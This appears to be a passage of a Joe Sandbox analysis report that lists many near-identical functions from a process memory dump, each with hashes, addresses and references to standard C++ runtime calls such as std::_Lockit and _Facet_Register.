Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 9ecde91bfa52677a9f7eb40db556c6463bf84d91d5f91572ceb0c1cf1e3b6d3d
Instruction ID: 2702a534bba2f1bf2700ece595574e27eb5929155bc79d5ab89c73fe007ae0e2
Opcode Fuzzy Hash: 9ecde91bfa52677a9f7eb40db556c6463bf84d91d5f91572ceb0c1cf1e3b6d3d
Instruction Fuzzy Hash: A9318335118E1A8FFB55EF5CD8A8B6773D2FBA9310F61055AE00AC7192CA70EC06C742

Function 000002DC4BE641E4 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE641F9
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6421E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64248
std::_Facet_Register.LIBCPMT ref: 000002DC4BE642BF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE642E0
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE642F3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 583335841ff9602645cb6664fed9de2ebde08a5211e8c3e23cc0461a38c1d219
Instruction ID: 626f34812d26e2348da753b210781dfae9d9f6987ad6d9e1de8f8e6252b73233
Opcode Fuzzy Hash: 583335841ff9602645cb6664fed9de2ebde08a5211e8c3e23cc0461a38c1d219
Instruction Fuzzy Hash: 2231A334218E0E8FEB58EB5DD8A87A777E2FBA5310F60051AE50AC3192DA70EC05C742

Function 000002DC4BE6317C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63191
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE631B6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE631E0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63257
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63278
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE6328B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e2495dd69d5672fc0aaaa369d26148b0abf04ff890b9c1c781e0b3a4c03f4bb5
Instruction ID: 85e344adef72dddba5352a0e64997aba63ca35d56f5900b8146923c820add8e6
Opcode Fuzzy Hash: e2495dd69d5672fc0aaaa369d26148b0abf04ff890b9c1c781e0b3a4c03f4bb5
Instruction Fuzzy Hash: B2318334218E0E8FEB55EF5CD8A8B6777D2FBA5310F61056AD01AC3192CA70EC06C782

Function 000002DC4BE5A14C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE5A161
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE5A186
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5A1B0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE5A227
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5A248
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE5A25B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 5b51ba569134c5825c2a12444e071813949180b5e2251155b7274c78dbf33661
Instruction ID: 10d1c701d28c27d7416cecb846411849497688c1d86d628d7f08b4c3ebd37fc2
Opcode Fuzzy Hash: 5b51ba569134c5825c2a12444e071813949180b5e2251155b7274c78dbf33661
Instruction Fuzzy Hash: 6D31C734109E0D8FE755EF98D9997A773D2FB98321F20056AD016C7192DA71DD42C742

Function 000002DC4BE75954 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75969
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE7598E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE759B8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75A2F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75A50
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75A63

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0ffcfb448721cd06397d466f10d1976de46c092da8247e5d3e388cbc18f79200
Instruction ID: 5669a15bbdfb55a284817c42e35d5c150f2c43905f5d7293ae162a2e33ff77b6
Opcode Fuzzy Hash: 0ffcfb448721cd06397d466f10d1976de46c092da8247e5d3e388cbc18f79200
Instruction Fuzzy Hash: E1316335618A0E8FEB55EF98D4A876773D2FBA9310F20056BD01AC3192DA74EC05C782

Function 000002DC4BE63924 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63939
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6395E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63988
std::_Facet_Register.LIBCPMT ref: 000002DC4BE639FF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63A20
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63A33

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 307936bf862e9c56774054b0fe3b54df52b4457b7974b0711e644fe09a43965e
Instruction ID: 382c98206510afb2ac7aa39588c60cd0421648375a14ea94c5f45977ef562702
Opcode Fuzzy Hash: 307936bf862e9c56774054b0fe3b54df52b4457b7974b0711e644fe09a43965e
Instruction Fuzzy Hash: 3131A535208E1A8FE755EF5CD4A8B6773D2FBA9310F60051AD04AC3296CA74EC06CB42

Function 000002DC4BE640CC Relevance: 9.1, APIs: 6, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE640E1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64106
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64130
std::_Facet_Register.LIBCPMT ref: 000002DC4BE641A7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE641C8
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE641DB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 4bf21808c0c1e7a09acacbbea9166ac19d61edc7bab033586c1f8b75ca445260
Instruction ID: c4dd51a079aa79cf4b6786cf060c2cf1dbb421f5b534e626c700148da7a6af72
Opcode Fuzzy Hash: 4bf21808c0c1e7a09acacbbea9166ac19d61edc7bab033586c1f8b75ca445260
Instruction Fuzzy Hash: 88319434114E1E8FEB59EF5CD8A9BA773E2FBA9310F61055AD15AC3192CA70EC41C742

Function 000002DC4BE63064 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63079
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6309E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE630C8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE6313F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63160
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63173

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 862992bce964ab0c63e7cab57c339ac449796c3ca8f564e14f2f8dfb22915006
Instruction ID: 6ae7ae86934f30da86dab21ab4f1539a4f77c56a8cfbda18c7a652b7a5354c6a
Opcode Fuzzy Hash: 862992bce964ab0c63e7cab57c339ac449796c3ca8f564e14f2f8dfb22915006
Instruction Fuzzy Hash: 9B319435518E0E8FEB95EF5CD4A8B6773D2FBA9310F60055AE00AC7192CA70EC06C782

Function 000002DC4BE7583C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75851
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75876
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE758A0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75917
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75938
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE7594B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 00cb2e2044b4871cd409dcbc662768aff73f691382f39fd1240f727da866cb6b
Instruction ID: 100a1da0b0c5ba6fe09ab2f4055ac7c8a079bf96300290dd5eeac4de84456a06
Opcode Fuzzy Hash: 00cb2e2044b4871cd409dcbc662768aff73f691382f39fd1240f727da866cb6b
Instruction Fuzzy Hash: A3317234615A1E8FEB55EB58D8A876B73D2FBE9310F20056BE01AC3192DA70EC45C782

Function 000002DC4BE6380C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63821
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63846
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63870
std::_Facet_Register.LIBCPMT ref: 000002DC4BE638E7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63908
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE6391B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 5ba236c1302e0f4c08eb61ded93d5648ba8ee788d7da3f853cda1361367814b3
Instruction ID: 80c6416ebc8f0b8a5fd1c6dcf0751e113b1c4b1004f3489a9cb4229d144af118
Opcode Fuzzy Hash: 5ba236c1302e0f4c08eb61ded93d5648ba8ee788d7da3f853cda1361367814b3
Instruction Fuzzy Hash: 05318434114E1E8FF755EB5CD8A8BAB73D2FBA9310F60051AE006C3192CA70DC06C742

Function 000002DC4BE63FB4 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63FC9
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63FEE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64018
std::_Facet_Register.LIBCPMT ref: 000002DC4BE6408F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE640B0
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE640C3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 6535183f03e00e2b75dfe095d60873b9b336e1563bed7380b75a38ab6af5389c
Instruction ID: 9c6e6b9ed90b5229781c3238d30ed78170976184b7dfab6346d7bad653f505a7
Opcode Fuzzy Hash: 6535183f03e00e2b75dfe095d60873b9b336e1563bed7380b75a38ab6af5389c
Instruction Fuzzy Hash: 03318534618E1E8FE795EB5CD498B6773E2FBA9310F60056AD10BC3196DA74EC41C742

Function 000002DC4BE62F4C Relevance: 9.1, APIs: 6, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62F61
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62F86
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62FB0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63027
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63048
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE6305B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0089ee0f90cfcfc3905d376521154184871410e51c2b35d0fd0cc8a09faef5a7
Instruction ID: ad76a2a5bcf56d2607ad1ade89551540be6edab6d10efca0a82849371ec797e0
Opcode Fuzzy Hash: 0089ee0f90cfcfc3905d376521154184871410e51c2b35d0fd0cc8a09faef5a7
Instruction Fuzzy Hash: 7831A635514E1E8FEB95EF58D8A8B6773D2FBA9310F60056BE00AC3192CA74ED45C742

Function 000002DC4BE75724 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75739
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE7575E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75788
std::_Facet_Register.LIBCPMT ref: 000002DC4BE757FF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75820
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75833

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c8df43411027ee0eacf25160c64c1c6837d1a75b5692cc2013478a6db91940d2
Instruction ID: e8cb9c42f6253cd670aa8bf338d20c4288a5dfa1103759b0fddda308c30e99d4
Opcode Fuzzy Hash: c8df43411027ee0eacf25160c64c1c6837d1a75b5692cc2013478a6db91940d2
Instruction Fuzzy Hash: 2B318635618A1D8FE759EF58D8A876773D2FBA9310F20056BD04AC3296DA74EC05C783

Function 000002DC4BE636F4 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63709
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6372E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63758
std::_Facet_Register.LIBCPMT ref: 000002DC4BE637CF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE637F0
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63803

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1a93674ec69a5735ffc695062ee79727fc64cbeb286943dc879ab4140d30de10
Instruction ID: 9cd53af7ab92f25c0d119a91f0d2dee9f9e98093d101ae3df025a4da3d793bad
Opcode Fuzzy Hash: 1a93674ec69a5735ffc695062ee79727fc64cbeb286943dc879ab4140d30de10
Instruction Fuzzy Hash: FB31A774208E0E8FF758EB5CD8A8B6773E2F7A5310F60051AE01AC3192DA70EC01C742

Function 000002DC4BE63E9C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63EB1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63ED6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63F00
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63F77
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63F98
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63FAB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c7ba1efc560f9f7a799841fb3f637d69f22de253fd67b94bfea447ecd5ef99a2
Instruction ID: a2a1f26e3953cfdbbc5c1a7265948dd7cca0581d1d3b9f6c9ca4f027be98794f
Opcode Fuzzy Hash: c7ba1efc560f9f7a799841fb3f637d69f22de253fd67b94bfea447ecd5ef99a2
Instruction Fuzzy Hash: 70318534114E1E8FEB55EB9CD8A8BA773E2FBA5310F61056AD01AC3192DA70EC06C742

Function 000002DC4BE62E34 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62E49
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62E6E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62E98
std::_Facet_Register.LIBCPMT ref: 000002DC4BE62F0F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62F30
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE62F43

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 01aba30f30b8db2cc18e541b81b84b10a987afc259ab90795f57b8b72824d431
Instruction ID: 99d202c2e54d22ca6eff98f22ba839d5ca850ffc2fc8dc4a66497916caa2bb50
Opcode Fuzzy Hash: 01aba30f30b8db2cc18e541b81b84b10a987afc259ab90795f57b8b72824d431
Instruction Fuzzy Hash: DB318535118E0E8FEB55EB98D4A876A73D2FBA9310F60056BE45AC7196DA70EC01C742

Function 000002DC4BE635DC Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE635F1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63616
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63640
std::_Facet_Register.LIBCPMT ref: 000002DC4BE636B7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE636D8
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE636EB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: b1aa785ebf1be1dd13bba7e54e87b7b3feaa6856ec30afba21a04f671a13dfa8
Instruction ID: 08b6bf01468d0b7823d43da284a62af5aaa89e347b5d75c5aab1b191e28665c5
Opcode Fuzzy Hash: b1aa785ebf1be1dd13bba7e54e87b7b3feaa6856ec30afba21a04f671a13dfa8
Instruction Fuzzy Hash: 9A315234218E0E8FE755EB5CD8A8B6B73D2FBA9310F61055AD40AC3292CA71EC06C752

Function 000002DC4BE75DB4 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75DC9
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75DEE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75E18
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75E8F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75EB0
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75EC3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 5e9559544ae838697aff2003c89a20d3b26c38e6557d22376aca609cf3fce5c7
Instruction ID: 8721b1090adf76f1f0ff08b4b7664cf2e41f13b19d905a23b09bfe8c3c679c63
Opcode Fuzzy Hash: 5e9559544ae838697aff2003c89a20d3b26c38e6557d22376aca609cf3fce5c7
Instruction Fuzzy Hash: D3317234618A0D8FE795EF58D8A876773D2FBE9310F60056BE04AC3196DA70EC05C782

Function 000002DC4BE63D84 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63D99
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63DBE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63DE8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63E5F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63E80
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63E93

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 5db84670c3be3fb5094032f7cc3172bc4b7ba1af00b02190cd9d95f796dbd767
Instruction ID: 4812570b70db5fed39cccdf1b56cfb08bd3b37aca005660bfe8209ca7d5e78e2
Opcode Fuzzy Hash: 5db84670c3be3fb5094032f7cc3172bc4b7ba1af00b02190cd9d95f796dbd767
Instruction Fuzzy Hash: 0C319335204E0E8FFB54EB5CD8A8B67B7E2FBA9310F60051AD00AC3192DA70EC02C752

Function 000002DC4BE62D1C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62D31
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62D56
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62D80
std::_Facet_Register.LIBCPMT ref: 000002DC4BE62DF7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62E18
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE62E2B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c6f73dd326dc1c081d63b1c68f07dc92fbedf7debfbab933f23a8b943fe6931e
Instruction ID: 2e64eef39c85316d898fb77216767137151ac90fd23284bc951410e13f014b85
Opcode Fuzzy Hash: c6f73dd326dc1c081d63b1c68f07dc92fbedf7debfbab933f23a8b943fe6931e
Instruction Fuzzy Hash: 65317235214E0E8FEB55EF58D8A8B6773D2FBA9310F60056BE40AC7192DA70EC45C742

Function 000002DC4BE56528 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE5653D
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE56562
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5658C
std::_Facet_Register.LIBCPMT ref: 000002DC4BE56603
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE56624
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE56637

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 50e2e1a74a0cf5e6311173a02a8286c3d737a3608833a0796616b14560155919
Instruction ID: c01e20b047121d32d8f1a8e4bd032b77bf48f182692be2923d15ca5fe40fc75d
Opcode Fuzzy Hash: 50e2e1a74a0cf5e6311173a02a8286c3d737a3608833a0796616b14560155919
Instruction Fuzzy Hash: 20318734118A5E8FE795EF98D5A87A673E2FBA5360F20055ED10AC3196DA70EC05C782

Function 000002DC4BE6452C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64541
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64566
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64590
std::_Facet_Register.LIBCPMT ref: 000002DC4BE64607
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64628
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE6463B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 661136fd98006e19691f6f5f900acc5de80e147c60418febdf896cbc6aeb5b24
Instruction ID: db33dea423ac2d3931d2c9edc5e7c03c273d7939a3c3dd0316dd95819cd9839d
Opcode Fuzzy Hash: 661136fd98006e19691f6f5f900acc5de80e147c60418febdf896cbc6aeb5b24
Instruction Fuzzy Hash: 19315235114E1A8FE755EB5CD4A876B73E2FBA9320F60056AE05AC3192DB70EC45C742

Function 000002DC4BE634C4 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

